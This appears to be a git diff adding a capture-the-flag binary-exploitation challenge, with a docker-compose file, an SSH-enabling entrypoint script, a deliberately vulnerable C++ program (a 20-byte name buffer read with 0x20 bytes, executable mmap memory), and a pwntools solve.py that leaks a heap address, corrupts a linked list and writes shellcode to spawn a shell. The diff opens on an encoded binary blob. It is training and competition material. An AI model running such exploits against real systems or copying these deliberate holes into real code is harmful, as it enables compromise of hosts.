zyA9IWWhEJ#$AggGm(^Ay(C>)pB45Tlw+8PFsdkXV&P2~!3x*|V%yG^?@5Fi_lBd1X
z91xs2CNZ;@vuu9iH=%3~fh={86Y3J%I*8KYK$9QU&Cb?_O-~Z5`W&}SG(zaGqS+f5
z+O3%=BIHuV_kj%R^~&?`Wgldf?a~k*(G1KZzO=j-N}M2!GKsq@Y8mn;g)XCmebdaT
zPUIeuwh8;Io*Lg)TgOBy?;t!oJ38LP+@Uwxi$@{$?r$DVJiByFSe9E!@6V+C4@Dj>
z{AwTFR-#1l5n!AhRg3!?Mg*Ag`Ewtl#C)EuCgbk6PG%4itcBt4Zw<ESJ2I&A?|5F^
zlRqz@Ec1VlF7=+d@Xll(dHQJIKI;FeJc6}u-$v2i3_jwsn?Sk(+w(TP1JSKQi6NdL
z4ts(*F20=<hIH2jb~Uv6bk~<(3-f6EJ$JX>($lEWcaoDTAj2+6mM+QlqAsIOjNU$e
z3%_}QmdlD>3*5lOb>|l{Xshbxb=S+2o}TgUSpqIPC?0+mTH6=r6~Tdj7tfJv&}O5p
z(4UKoktW>wxeF!xll!>2Vb8k{dSdEWl>^knK{H4}1k3s%Cu*7R`%Hera2PrRlRBP$
z{XMOHEAEK_TP7WHZDMmHGyZh;PW<PfG5G14!SC6m>tbtxtAE26A12)|(RujKYlXl&
ze9a%3RjC36Z*}g=`?rq=(m*t<AvJl@kH(FVymyb_qvNej<DLr>=_gI8$BO=&$Mwx%
zT#=2GSl4#W%(8p<iuuFOUy-$sMdd;JJP&2DCp(XZeUMn+?BmilW2hJF%~iGU!wtm9
znJcemcKM;QjA|HSFfq`iT-pCwA@ExC`o{ARHwuDHD#HS$bV|Gv>C?pOVuF$~B5*YZ
z3Ty<=TuTIgGd!WEgR$&_2X`=m!0K`<6e6p8rr3+FZsAwtN)6qc9zmbJ_Fo)0B*<e}
z81Uzgp5LOHbG8Ja)1>l;bbs3V?(b<tIrui&mE<*3iWsPZm8EdmAclG1{s^hshPkM&
zN&+19HER#1S77=jQY8Kyh+t2SsnZk7m>?-+IHO6LvdRuA@|H*@bMoLTPXXgz;Fpkt
zZ?Y_+sa_YmMR#k7kt}T9n%JjpH|dh^X$yMZIOwgT%d%cI0A6oH^*NUl)~-JW?w&dA
zN#`#9KIIsNpeJQ7`3cND@2wuSAv^kBe@jS6lpO6j67qm&ZWq1p+`z-D;SFO5NzA@~
z>U>u4C<{U<8fwmBtcp>z+c!LOSzB)trnunMB-_(*N72=H<RB~v>9;4s@6e5zr|ir&
zE)JglGQFDy^ED)+R3?_&Sou6DCz2i3pB$XVOo6Vrc3luA7Ka-)Fnw*!>)U4n&RFHZ
zh}syOL-I4wBc+Vn(|=>(!eT#MJ2Tha=ksVWbv!D3>B?Cfn|aZ^X!e}n%BlArwy#1H
zv6%Nq)-fBXU3tl9V3W{i9_LIe%oxJT2Zh~+-LXf?UhI&nEC6;w@WND(#g+SB?<(={
zl5H<p*`^Y7i4?w+a^&XpGa#GMy2^UpeDvADGM#LzyPpF;i38IFq}QDPsq2%aU)aSF
zXnJu<K`^4SjfEXq(l4tX_Q{uNydH)$nfl$vh#iF%yniw;r?;Dl_DUCp0%t$P{iN_Z
zDxRzG!}9SXLHuTMYSgWhWlF!Btssh>9!f^WQDrzp+lpOkW?Z#j$%!Q>=xp~CuVFb{
zL-BbM)aevJh86Iud%sdXqAc&1xivv*yLPmzc!xrX)v@usK&Nn0ES5me4bg+c>lV6`
z72lEpb<XD`ZbobeNFSw{qqN`2?N3weUpdh3Shf$-QGp9C2byR<P+ImbOWrm+3!tKs
zCIp)!Yi$t*Ns;Bf6^u{A=d1WF<18Rgw5Q>y%&cKr;wOY@c6iYa5|HiQ>lh>HXQ3h*
z&sZUhu`$4sKTIQ}!bv(M#?W4kQK?v`DqC9~{K<m<q0F@XyI3q(E&>zZrA_fbdI-WA
z*uKP9)nECin}%Ed4Y6yrS+2gb%G=*x$2$pwI5K6NqR`Pw(D1BAm?{eXc*qhD<L)8r
zmZ=n(sg>F<63I6S2xMsy2iMW0L{G<jFV?yE5&sf2NfX5Zc+K^vN5(Pddcnno$#x05
zI(_<e`(mQIOT%V6im0#b0p8^@g+DkF0v*{Ft^es{Dxn|4$F@f}i)l-m-@DP^x=5^a
zdloF+@M1hUdrB@IrI-DM#WA*@-U0OrQ%e}_D$&QqerWGA^{()>K~n*k5;Lf<&m5_{
z^6Uh3N<@Sh^e}!&8<XK2g{9|`(!O0e{wp5(3+3_0{-lZ^;IzHdP^xd`kG}#J53?W;
z)2k^d8<!$APShK7rRc>~VUgLHW!TWrzBKVY{la_Z$6mfA&BFw@9ByYS4;vIg;QA)N
zZU^AX)@9moJK&T1xYbafY0sf-6`@L2XeQ=8SseYSJojv2H@n<*8IwgYA5Yc_;ul8I
z&{L&RVdE-MDLb!~fTijCF5(6@kIk$1q25)cDiua9Y*xGYO=;&*lTDitR1}d1@%)=i
ze?6fU>dmt|Wz`%V>fG492TY)5j(hDptekQOu?!{L{52H$S;`CUkGBWEIApTBi|hsT
z*b5C8l!_NhU75sxWoi}ICLpi~hJLrMg)VNY(mrt)z_lhBYa1;hR%fZPR2gy!#ofx7
zDTjvFWq$BFUMW5hvs-FfrU*Xge}13FEl%UbUTsKQEs~;J_mx6gcp^XRGq$gGgNa=}
z_XB-t8@Z|7Jr<}Z2OAE<(BeQGuu&b5f?syUPP8+8-D8{UOaEiTKy1+gGonXVO>%UM
z%PV=$%y`(#@MER4kIu$)R@c~`B1QGsNq8?_-3|4`D9K)Xk4`L6ddNDWd0KT$CZCC#
zCzK9_GcvJLNRjdZx4S*^t99s*2S$KzM5ldeVthlAoS;b*mZ1($p5t=sc*sZa7kBo+
zj}5-mKY`SrYMW`Zlr~ZNX<c-@pQP3LA9-e{#`)bWn2txU;?wM2{b(Uv!Ae(}F=~Z<
zl9<Nj&P#KN>V(nKHjs~{Dei4?e#O*f&IWNL(h3#8F{3vZvgEMT=|%+}=S`$3W40ss
zbsfY|KPr5kP#k`-PY~D?BitJdI(pfI32hm5`R0z)Nq{({P~OTg602z4z(=WvvQDOb
zi2eKJ3Zs8S@_v;r;5PYze;8^p<;^^CVXpY`w{vejHhg?}Ggmg{%Z>ssewyAGs)(L@
zh@HxBO`mMqb?d~tdyVILVD6TYhFSPX+Qnhpw@2qgpHlc3u}(S7Or^%f2gRoXjMrKT
zkOKsZ8pf;Z1EW0O&WZ2O;^+4t>b{o3J)F|%o~sJ;STydzHW#Dpvt{m0D3rCb;})6U
zI|Ff)Q>?YWOXSYHyvypTWea+~RiEmU%yoaMfVjm+>|prorC8grs_xmKtJr}M#7lo*
zLGM#|OW+>W8FaZv+B@&I5WI8i!9F4^KV&tZN(8SV74I|E9^he&#g{Xwf9@p<|2W&!
z_N2sg*%RM2Y6Q836K9>3*Huau{DJ)J!C)ypK!_>^hzQA?f0wMQQ9Y0^k;o-v_$kF&
zGkmr#Q29KGD@aeJd8a!+0ZxT`jHhh4v^KRbAzmv!3CZesH!m3&pCCvTpU#{bdP)?1
zJ|ke41peP=eB4Dc+CB<Tl;5Z(=9T^6`5SW=igw^ET);A!r9yR2?!}GmTyb+tyYjgB
zY}sWaioH6whg06+%+JmO{f9F578FXV-MkGJqUUROsuz@{n+Rrq{NTfxdo+=E?ne5O
zRf+*ZH#JMF6+tOqxEewfNf{3Irq$FQ5pb}L=Cy89w3qwgGRG$56_;uGk#myllZcq<
zY@wFg5rX!=6_{wU`i8+F75v($0Du`O0D$pd3QSH57ngsjFgutZZ94zj|59Q0>p40v
z3*tS~&>=!T)M+PBk9lHZ)e-{9YjI_hniuAfWGToR<(9)<4kx}EFoq&JMK$VK5Boir
zoE{Su+P7BSx!OhV1xSq(;c-SYrX>AF<GoY&i$|-~84ByxGd(n50&+fsPhlLKR^e5|
zm!F81p^6Tgs)Jp*q$Q5Yc|D03O#y+RG7Z&alb;*g2aj=G8WR~`s$RCzGhlxyiHpqI
z9<x>E?BGvOViMbF9Gsc+o;}_yO^emxy*hA7p$-Es)62k+vzWG>F2AvOB(RK6r1O}l
z4}q9#ZAbM=Jl!&xM{By<r3w_scym!!M&zuPa*$>EG2MusM@YQw4?gjV7Pp;Vw^3iX
zN3N^}QUt-DS|Cn{$7}LDXG#CZ^V`*di6D<bZCo<L-i|?ABEm?__iqMIa5mSQ(!;=x
z3kJ7ss91hQpMHk%*<9Buj8k{hG_?pE3vO0n{H|0dQNy!NY-uCgM+;L3kc?eH=_65t
zvAP-;{3MCaRJK4$r<hjmBEt+#4gbx{$Y+K-DWV=qk*woA5?`dxT_A!|=h;Y$J&tAR
zrDs+)fy_dTo`)V>YQB{bFHb!Co2~xy_FcLDDUVTO%flVF&R07*FEECY_T0y`?7KCn
zL@PrFy={xnkfNn{ROJmeXBFmidfcLcirn~~^@ZJl-<!6I%W}m<r-|Z>pA`Ov88VeG
z9vh&?Q{M-330KFSWR06&{LBx+0vV?&x&?gTlq;_8B6a0qZ?L0e@40ym)kgMU`bvN&
z>nR=9Q(%DF-hR)pwtYGv39nlaTAT6ivBa?_e@EcUbcq(>|BOqiRIe7d6<np4h|bZ7
zvV+MUlm+Wt58ytx6Bws|uvI|o6Ewbb*_0WIHs4+N?E5Z{huo!`Dn8$6b{Hc~fZQDF
zQRBPnR7nFMkFQuU?U#M|hID4oR)9R4Ri0>4#0DU~k8Dh&Iv8%jc8K@xT|qctHj|d~
zN_|Xcl#CDyY^eyuW?NCdYIH5CF3AMt5t8862U7?qS%(X&Yz&vhukvdsq7uEpseP&s
zo&1XSF@rmAB-d4(w9VdA2wu%bySQvfN=cBy?iaL|OqUgspRB~rRBqZnI9-qbf#mzE
zb9#Z80zN0bEqyY<P7C9Vc%XB9QxV6=A8h$yaSR`uzJwNaSRinJ)&j)I9>4j!|KR<^
z2O*(JNJ9AvpGasQ4tZCO6kBI|3?(?7l4qjg$p%~M=<PeV&4z0vRdYwy5u|~Aor9We
zVD(uSB1Qm{DIxO3?bVy{U5`v=6H<kbGpWc=bzbq|HetPTIRNaBiNQ6s1M#jYEBm(Z
zQ)DpGgl=h_yn9z>?VibSKI|3tr`IZG$KJ^B#4g6MB==Wjy<#H_oFvQWtgtuAaY0eE
z0NB;LeeUU2x7fbrTvVrRz1lrr)g^ZXGsj(lERi{hNlAMoXjRKwT(}KX4cp#s+auH7
z$6{n@Ox38XBYihbe?|(HBCmr8EB-(OrSU>;7LcZzXbF~t7w!wX2-cjIg_e!KCLT_T
z2e~xN0a>HruVpon9api|f<;U|^YF|!e`{|_88R9$u1%)a7T0sj<9y)}KvIgi<e!uP
zFlku*TIg)Ap=Am9V0l&a3-43@nY_}I`!%}{H0^vbwKU|1y3PC}F?N2moYGK{)xg);
z^jd&JeRjMeL}rp^#sBc3rc$Nl`{4o|CU8>;L(L+-q3MLB(OLh9O`BYERLNuZrDI8T
z57h;M<Jlo^bA@dl!;|R8DCVXea(CU6IFomO*6#Ih7HtBVSd>+!zXK~;_qQb{c8ymF
zkv;>{Hf#JrpC7o?l#q~Vfd4<WKiOZ+KLCLA*AOB9wEkQBkNO|l|NoVu|0mnOOYQ%I
z?H?XQ$kgBZKZW;yx&9xb`~S)H@0-T|oS7!ue{%iD7V?+xpDpCy=7tLT=h?u&*Wus$
JG1oun{{S=!l05(b

literal 0
HcmV?d00001

diff --git a/services/carbeat/docker-compose.yml b/services/carbeat/docker-compose.yml
new file mode 100644
index 0000000..9785e0b
--- /dev/null
+++ b/services/carbeat/docker-compose.yml
@@ -0,0 +1,14 @@
+services:
+  carbeat:
+    container_name: carbeat_container
+    hostname: carbeat
+    restart: always
+    build:
+      context: .
+      args:
+          - PASSWORD=root
+    ports:
+      - "14000:9000"
+      - "14022:22"
+    environment:
+      - FLAG=GEMASTIK18{local_flag}
\ No newline at end of file
diff --git a/services/carbeat/entrypoint.sh b/services/carbeat/entrypoint.sh
new file mode 100644
index 0000000..1d285ef
--- /dev/null
+++ b/services/carbeat/entrypoint.sh
@@ -0,0 +1,24 @@
+#!/bin/bash
+set -e
+
+ssh-keygen -A
+
+grep -q "^PermitRootLogin" /etc/ssh/sshd_config && \
+  sed -i "s/^PermitRootLogin.*/PermitRootLogin no/" /etc/ssh/sshd_config || \
+  echo "PermitRootLogin no" >> /etc/ssh/sshd_config
+
+grep -q "^PasswordAuthentication" /etc/ssh/sshd_config && \
+  sed -i "s/^PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config || \
+  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
+
+echo "AllowUsers ctf" >> /etc/ssh/sshd_config
+
+/usr/sbin/sshd
+
+if [ -n "$FLAG" ]; then
+    echo "$FLAG" > /flag.txt
+    chmod 644 /flag.txt
+    chown root:root /flag.txt
+fi
+
+exec su -c "cd /home/ctf/chall && ./run.sh" -s /bin/bash ctf
\ No newline at end of file
diff --git a/services/carbeat/exploit/solve.py b/services/carbeat/exploit/solve.py
new file mode 100644
index 0000000..fa538e5
--- /dev/null
+++ b/services/carbeat/exploit/solve.py
@@ -0,0 +1,81 @@
+from pwn import *
+context.terminal = "tmux splitw -h".split()
+context.binary = elf = ELF('chall/mybini')
+
+#p = gdb.debug(elf.path, '''
+#set max-visualize-chunk-size 0x500
+#b * _ZN7MyKisah3addEPc+110
+#c
+#''')
+#p = elf.process()
+#gdb.attach(p)
+p = remote('localhost', 14000)
+
+def register(name, level):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b': ', name)
+    p.sendlineafter(b': ', str(level).encode())
+    
+def login(name):
+    p.sendlineafter(b'> ', b'2')
+    p.sendlineafter(b': ', name)
+
+def logout():
+    p.sendlineafter(b'> ', b'4')
+
+def add(data):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b': ', data)
+
+def edit(name):
+    p.sendlineafter(b'> ', b'0')
+    p.sendlineafter(b': ', name)
+
+def delete(idx):
+    p.sendlineafter(b'> ', b'3')
+    p.sendlineafter(b': ', str(idx).encode())
+
+register(b'user0', 0xdeadbeef)
+register(b'user1', 0xdeadbeef)
+register(b'user2', 0xdeadbeef)
+
+login(b'user2')
+for i in range(8): add(b'a')
+
+read = shellcraft.read(0, 'rdx', 0x100)
+add(asm(read))
+logout()
+
+register(b'user3', 0xdeadbeef)
+register(b'user4', 0xdeadbeef)
+register(b'user5', 0xdeadbeef)
+register(b'x' * 0x10, 0xdeadbeef)
+register(b'user7', 0xdeadbeef)
+
+login(b'user5')
+for i in range(4): add(b'a')
+
+edit(b'z' * 0x18)
+add(b'\0')
+logout()
+
+p.sendlineafter(b'> ', b'3')
+p.recvuntil(b'x' * 0x10)
+
+heap = unpack(p.recvuntil(b' adalah', drop=True),'all')
+log.info(f"{hex(heap) = }")
+
+login(b'z'*0x18)
+delete(0)
+
+add(b'a' * 8 + p64(heap-0x130))
+delete(0)
+
+logout()
+login(b'x'*0x10)
+
+add(p64(heap-0x1f8))
+sleep(1)
+p.send(b'a' * 0xd + asm(shellcraft.sh()))
+
+p.interactive()
\ No newline at end of file
diff --git a/services/carbeat/mybini.cpp b/services/carbeat/mybini.cpp
new file mode 100644
index 0000000..94ca282
--- /dev/null
+++ b/services/carbeat/mybini.cpp
@@ -0,0 +1,227 @@
+#include <algorithm>
+#include <cstddef>
+#include <iostream>
+#include <string>
+#include <vector>
+#include <cstring>
+#include <fcntl.h>
+#include <sys/mman.h>
+
+struct Bini {
+    Bini *next = nullptr;
+    char *curr = nullptr;
+    Bini() {}
+    Bini(char *my) {
+        curr = my;
+    }
+};
+
+class MyKisah {
+
+private:
+    Bini *free = nullptr;
+    Bini *used = nullptr;
+    char *kisah;
+
+public:
+    MyKisah() {
+        kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+        for (int i = 0; i < 0x120; i += 0x20) {
+            Bini *tmp = free;
+            free = new Bini(kisah + i);
+            free->next = tmp;
+        }
+    }
+
+    int add(char *bini) {
+        if (!free) return -1;
+        Bini *tmp = used;
+        used = free;
+        free = free->next;
+        used->next = tmp;
+        strncpy(used->curr, bini, 0x20);
+        return 0;
+    }
+
+    int del(unsigned int id) {
+        if (!used) return -1;
+        if (!id) {
+            Bini *tmp = free;
+            free = used;
+            used = used->next;
+            free->next = tmp;
+            return 0;
+        }
+        Bini *cur = used;
+        for (int i = 0; i < (int)id - 1; ++i) {
+            if (!cur) return -1;
+            cur = cur->next;
+        }
+        if (!cur || !cur->next) return -1;
+        Bini *tmp = free;
+        free = cur->next;
+        cur->next = cur->next->next;
+        free->next = tmp;
+        return 0;
+    }
+
+    void view(int id) {
+        Bini *cur = used;
+        for (int i = 0; i < id; ++i) {
+            if (!cur) {
+                std::cout << "no bini\n";
+                return;
+            }
+            cur = cur->next;
+        }
+        if (!cur) {
+            std::cout << "no bini\n";
+            return;
+        }
+        std::cout << cur->curr << '\n';
+    }    
+    
+};
+
+class Karbit {
+    protected:
+        size_t karbit_level;
+    public:
+        char karbit[20];
+        Karbit() {
+            std::cout << "nama: ";
+            std::cin.ignore();
+            std::cin.getline(karbit, 0x20);
+            std::cout << "level karbit (0-100): ";
+            std::cin >> karbit_level;
+        }
+        void info(){
+            std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n";
+        }
+        virtual void mybini() = 0;
+};
+
+class User: public Karbit {
+
+    private:
+        MyKisah my;
+    public:
+        User(){}
+        void mybini() {
+            std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n";
+        }
+
+        void edit_karbit(){
+            std::cout << "karbit old: " << karbit << '\n';
+            std::cout << "karbit new: ";
+            std::cin.ignore();
+            std::cin.getline(karbit, 0x20);
+        }
+
+        void add_bini(){
+            char bini[0x20];
+            std::cout << "nama bini: ";
+            std::cin.ignore();
+            std::cin.getline(bini, 0x20);
+            if (my.add(bini) == -1) {
+                std::cout << "gagal menambah bini\n";
+                return;
+            }
+        }
+        
+        void view_bini(){
+            unsigned int idx;
+            std::cout << "index bini: ";
+            std::cin >> idx;
+            my.view(idx);
+        }
+
+        void delete_bini(){
+            unsigned int idx;
+            std::cout << "index bini: ";
+            std::cin >> idx;
+            if (my.del(idx) == -1) {
+                std::cout << "gagal menghapus bini\n";
+                return;
+            }
+        }
+};
+
+std::vector<User> users;
+int selected_user = -1;
+
+int main(){
+    int c;
+
+    for (;;){
+        if (selected_user == -1) {
+            std::cout << "1. register" << std::endl;
+            std::cout << "2. login" << std::endl;
+            std::cout << "3. list karbit" << std::endl;
+            std::cout << "> ";
+            std::cin >> c;
+
+            switch (c) {
+                case 1:
+                    users.push_back(User{});
+                    break;
+                case 2:
+                    {
+                        std::string name;
+                        std::cout << "nama: ";
+                        std::cin >> name;
+                        for (int i = 0; i < (int)users.size(); i++){
+                            if (users[i].karbit == name) {
+                                selected_user = i;
+                                break;
+                            }
+                        }
+
+                        if (selected_user == -1) {
+                            std::cout << "karbit tidak ditemukan" << std::endl;
+                        }
+                    }
+                    break;
+                case 3:
+                    for (auto& user : users) user.info();
+                    break;
+                default:
+                    std::cout << "invalid option" << std::endl;
+            }
+        } else {
+            users[selected_user].mybini();
+            std::cout << "> ";
+            std::cin >> c;
+
+            switch (c) {
+                case 0:
+                    users[selected_user].edit_karbit();
+                    break;
+                case 1:
+                    users[selected_user].add_bini();
+                    break;
+                case 2:
+                    users[selected_user].view_bini();
+                    break;
+                case 3:
+                    users[selected_user].delete_bini();
+                    break;
+                case 4:
+                    selected_user = -1;
+                    break;
+                default:
+                    std::cout << "invalid option" << std::endl;
+                    break;
+            }
+        }
+    }
+
+    return 0;
+}
+
+
+void init() {
+    setbuf(stdin, nullptr);
+    setbuf(stdout, nullptr);
+    setbuf(stderr, nullptr);
+}
\ No newline at end of file